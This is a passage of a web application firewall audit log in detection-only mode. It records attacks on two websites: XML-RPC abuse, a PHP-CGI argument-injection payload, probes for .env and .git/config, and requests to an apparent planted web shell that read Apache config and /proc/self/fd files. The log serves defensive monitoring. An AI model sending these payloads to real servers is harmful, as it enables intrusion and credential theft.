--c93f3f3b-A-- [16/Jun/2025:08:25:40.344253 +0530] aE-Hq-OzMRjUd1ppiI2ytAAAAAQ 128.199.112.101 45948 127.0.0.1 7081 --c93f3f3b-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --c93f3f3b-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --c93f3f3b-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-Hq-OzMRjUd1ppiI2ytAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750042539363117 981193 (- - -) Stopwatch2: 1750042539363117 981193; combined=2206, p1=410, p2=1364, p3=50, p4=68, p5=192, sr=104, sw=122, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c93f3f3b-Z-- --7154837d-A-- [16/Jun/2025:08:26:23.921362 +0530] aE-H1ySg0_FUeePR9Z0E9wAAAAE 23.21.228.180 53446 127.0.0.1 7081 --7154837d-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=//etc/apache2/mods-enabled&viewfile=//etc/apache2/mods-enabled/mime.conf HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 23.21.228.180 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36 Accept-Encoding: gzip,deflate --7154837d-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 5958 Connection: close Content-Type: text/html; charset=UTF-8 --7154837d-H-- Message: Warning. Matched phrase "etc/apache2/mods-enabled/mime.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/apache2/mods-enabled/mime.conf found within ARGS:viewfile: /etc/apache2/mods-enabled/mime.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/apache2/mods-enabled/mime.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/apache2/mods-enabled/mime.conf found within ARGS:viewfile: /etc/apache2/mods-enabled/mime.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-H1ySg0_FUeePR9Z0E9wAAAAE"] Apache-Handler: application/x-httpd-php Stopwatch: 1750042583916599 4817 (- - -) Stopwatch2: 1750042583916599 4817; combined=2360, p1=354, p2=1865, p3=39, p4=41, p5=61, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7154837d-Z-- --3494453e-A-- [16/Jun/2025:08:26:37.759714 +0530] aE-H5EN_xpBAtP8SIP1CMgAAAAo 157.245.204.205 40274 127.0.0.1 7081 --3494453e-B-- POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D""+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.0 Host: www.best-website-designs.com X-Real-IP: 157.245.204.205 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 164 User-Agent: Go-http-client/1.1 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip --3494453e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://best-website-designs.com/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 --3494453e-H-- Message: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\xadd cgi.force_redirect=0 \xadd disable_functions="" \xadd allow_url_include=1 \xadd auto_prepend_file=php://input. [file "/etc/apache2/modsecurity.d/rules/comodo_free/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||www.best-website-designs.com|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\x5cxadd cgi.force_redirect=0 \x5cxadd disable_functions=\x22\x22 \x5cxadd allow_url_include=1 \x5cxadd auto_prepend_file=php://input: \xadd cgi.force_redirect=0 \xadd disable_functions=\x22\x22 \xadd allow_url_include=1 \xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\\\xadd cgi.force_redirect=0 \\\\xadd disable_functions="" \\\\xadd allow_url_include=1 \\\\xadd auto_prepend_file=php://input. [file "/etc/apache2/modsecurity.d/rules/comodo_free/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||www.best-website-designs.com|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\\\x5cxadd cgi.force_redirect=0 \\\\x5cxadd disable_functions=\\\\x22\\\\x22 \\\\x5cxadd allow_url_include=1 \\\\x5cxadd auto_prepend_file=php://input: \\\\xadd cgi.force_redirect=0 \\\\xadd disable_functions=\\\\x22\\\\x22 \\\\xadd allow_url_include=1 \\\\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "www.best-website-designs.com"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aE-H5EN_xpBAtP8SIP1CMgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750042596724877 1034921 (- - -) Stopwatch2: 1750042596724877 1034921; combined=3473, p1=372, p2=2926, p3=0, p4=0, p5=174, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3494453e-Z-- --ff818445-A-- [16/Jun/2025:08:26:39.979511 +0530] aE-H5ySg0_FUeePR9Z0FAgAAAAE 128.199.112.101 40364 127.0.0.1 7081 --ff818445-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --ff818445-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --ff818445-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-H5ySg0_FUeePR9Z0FAgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750042599012213 967364 (- - -) Stopwatch2: 1750042599012213 967364; combined=2674, p1=394, p2=1831, p3=46, p4=66, p5=209, sr=101, sw=128, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ff818445-Z-- --471a016f-A-- [16/Jun/2025:08:26:54.153593 +0530] aE-H9VVp19vSg8MbnETpXgAAAAI 157.245.204.205 37172 127.0.0.1 7081 --471a016f-B-- GET /.env HTTP/1.0 Host: www.best-website-designs.com X-Real-IP: 157.245.204.205 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Go-http-client/1.1 Accept-Encoding: gzip --471a016f-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private X-Redirect-By: WordPress Location: https://best-website-designs.com/.env Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --471a016f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.best-website-designs.com"] [uri "/.env"] [unique_id "aE-H9VVp19vSg8MbnETpXgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750042613250080 903604 (- - -) Stopwatch2: 1750042613250080 903604; combined=1884, p1=377, p2=1404, p3=0, p4=0, p5=102, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --471a016f-Z-- --8183f766-A-- [16/Jun/2025:08:26:55.676136 +0530] aE-H9gS4XDlCv3KXioQQpgAAAAY 157.245.204.205 37228 127.0.0.1 7081 --8183f766-B-- GET /.git/config HTTP/1.0 Host: www.best-website-designs.com X-Real-IP: 157.245.204.205 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Go-http-client/1.1 Accept-Encoding: gzip --8183f766-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private X-Redirect-By: WordPress Location: https://best-website-designs.com/.git/config Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --8183f766-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.best-website-designs.com"] [uri "/.git/config"] [unique_id "aE-H9gS4XDlCv3KXioQQpgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750042614782809 893391 (- - -) Stopwatch2: 1750042614782809 893391; combined=1813, p1=362, p2=1350, p3=0, p4=0, p5=100, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8183f766-Z-- --20328e17-A-- [16/Jun/2025:08:27:40.527469 +0530] aE-IIySg0_FUeePR9Z0FIgAAAAE 128.199.112.101 46878 127.0.0.1 7081 --20328e17-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --20328e17-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --20328e17-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-IIySg0_FUeePR9Z0FIgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750042659600533 926992 (- - -) Stopwatch2: 1750042659600533 926992; combined=2969, p1=521, p2=1932, p3=46, p4=72, p5=248, sr=149, sw=150, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --20328e17-Z-- --2e585934-A-- [16/Jun/2025:08:28:40.387462 +0530] aE-IX1LvCKKZvNl9c__VswAAAAc 128.199.112.101 50472 127.0.0.1 7081 --2e585934-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --2e585934-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --2e585934-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-IX1LvCKKZvNl9c__VswAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750042719420404 967113 (- - -) Stopwatch2: 1750042719420404 967113; combined=2142, p1=423, p2=1330, p3=41, p4=64, p5=174, sr=98, sw=110, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2e585934-Z-- --d5442046-A-- [16/Jun/2025:08:28:55.241629 +0530] aE-Ib7oFnONBt7jRcBygrwAAAA4 216.73.216.83 37480 127.0.0.1 7081 --d5442046-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F144 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --d5442046-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2953 Connection: close Content-Type: text/html; charset=UTF-8 --d5442046-H-- Message: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/144"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/144"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-Ib7oFnONBt7jRcBygrwAAAA4"] Apache-Handler: application/x-httpd-php Stopwatch: 1750042735237063 4621 (- - -) Stopwatch2: 1750042735237063 4621; combined=2475, p1=367, p2=1955, p3=43, p4=37, p5=72, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d5442046-Z-- --5c513f62-A-- [16/Jun/2025:08:29:41.018938 +0530] aE-InPrb_uQIHEwgEhzh8wAAAAA 128.199.112.101 38010 127.0.0.1 7081 --5c513f62-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --5c513f62-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --5c513f62-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-InPrb_uQIHEwgEhzh8wAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750042780037538 981478 (- - -) Stopwatch2: 1750042780037538 981478; combined=2193, p1=393, p2=1363, p3=51, p4=63, p5=205, sr=114, sw=118, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5c513f62-Z-- --fe98e302-A-- [16/Jun/2025:08:30:09.633353 +0530] aE-IuVLvCKKZvNl9c__V8AAAAAc 216.73.216.83 39230 127.0.0.1 7081 --fe98e302-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F105 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --fe98e302-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2954 Connection: close Content-Type: text/html; charset=UTF-8 --fe98e302-H-- Message: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/105"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/105"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-IuVLvCKKZvNl9c__V8AAAAAc"] Apache-Handler: application/x-httpd-php Stopwatch: 1750042809628532 4899 (- - -) Stopwatch2: 1750042809628532 4899; combined=2391, p1=360, p2=1873, p3=41, p4=39, p5=78, sr=104, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fe98e302-Z-- --af079b21-A-- [16/Jun/2025:08:30:09.815822 +0530] aE-IuUN_xpBAtP8SIP1CswAAAAo 216.73.216.83 39256 127.0.0.1 7081 --af079b21-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F145 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --af079b21-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2954 Connection: close Content-Type: text/html; charset=UTF-8 --af079b21-H-- Message: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/145"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/145"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-IuUN_xpBAtP8SIP1CswAAAAo"] Apache-Handler: application/x-httpd-php Stopwatch: 1750042809811457 4419 (- - -) Stopwatch2: 1750042809811457 4419; combined=2369, p1=492, p2=1749, p3=36, p4=35, p5=57, sr=134, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --af079b21-Z-- --92106316-A-- [16/Jun/2025:08:30:10.908699 +0530] aE-IujMylmRimnwJkaBnvAAAAAk 216.73.216.83 39444 127.0.0.1 7081 --92106316-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F98 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --92106316-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2954 Connection: close Content-Type: text/html; charset=UTF-8 --92106316-H-- Message: Warning. Matched phrase "proc/self/fd/9" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/9 found within ARGS:viewfile: /proc/self/fd/98"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/9" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/9 found within ARGS:viewfile: /proc/self/fd/98"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-IujMylmRimnwJkaBnvAAAAAk"] Apache-Handler: application/x-httpd-php Stopwatch: 1750042810904329 4425 (- - -) Stopwatch2: 1750042810904329 4425; combined=2045, p1=337, p2=1580, p3=34, p4=34, p5=60, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --92106316-Z-- --47f9a559-A-- [16/Jun/2025:08:30:41.636519 +0530] aE-I2FLvCKKZvNl9c__WCgAAAAc 128.199.112.101 60762 127.0.0.1 7081 --47f9a559-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --47f9a559-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding 